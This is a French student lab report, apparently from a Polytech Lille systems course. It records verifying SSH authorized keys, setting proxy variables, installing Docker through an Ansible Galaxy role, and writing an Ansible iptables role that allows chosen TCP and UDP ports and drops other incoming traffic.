Vérification dans le fichier /root/.ssh/authorized_keys  :

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net

Nous obtenons bien toutes nos clefs ssh.

Ajout des var d'environement pour pouvoir installer docker :

export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128

Installation du rôle Docker :

ansible-galaxy install geerlingguy.docker

Puis dans polytech.yml :

- hosts: all
  roles:
   ...
   - geerlingguy.docker


Après ré-execution du playbook, nous pouvons vérifier que Docker est bien installé :

docker -v 

Installation du Pare-feu :

source : https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6

- création de roles/iptables/tasks/main.yml :

---
- name: Allow ports INPUT tcp
 iptables:
   chain: INPUT
   protocol: tcp
   destination_port: "{ { item } }"
   jump: ACCEPT
   ctstate: NEW,ESTABLISHED
 loop: "{ { iptables_accepted_tcp_ports } }"
- name: Allow ports INPUT udp
 iptables:
   chain: INPUT
   protocol: udp
   destination_port: "{ { item } }"
   jump: ACCEPT
   ctstate: NEW,ESTABLISHED
 loop: "{ { iptables_accepted_udp_ports } }"
- name: Set the policy for the INPUT chain to DROP
 ansible.builtin.iptables:
   chain: INPUT
   policy: DROP

- Cration du fichier de variables :


iptables_accepted_tcp_ports:
 - 8600
 - 8500
 - 8501
 - 8502
 - 8301
 - 8302
 - 8300 
 - 22
 - 80
 - 443
iptables_accepted_udp_ports:
 - 8600
 - 8301
 - 8302
 - 22
 - 80
 - 443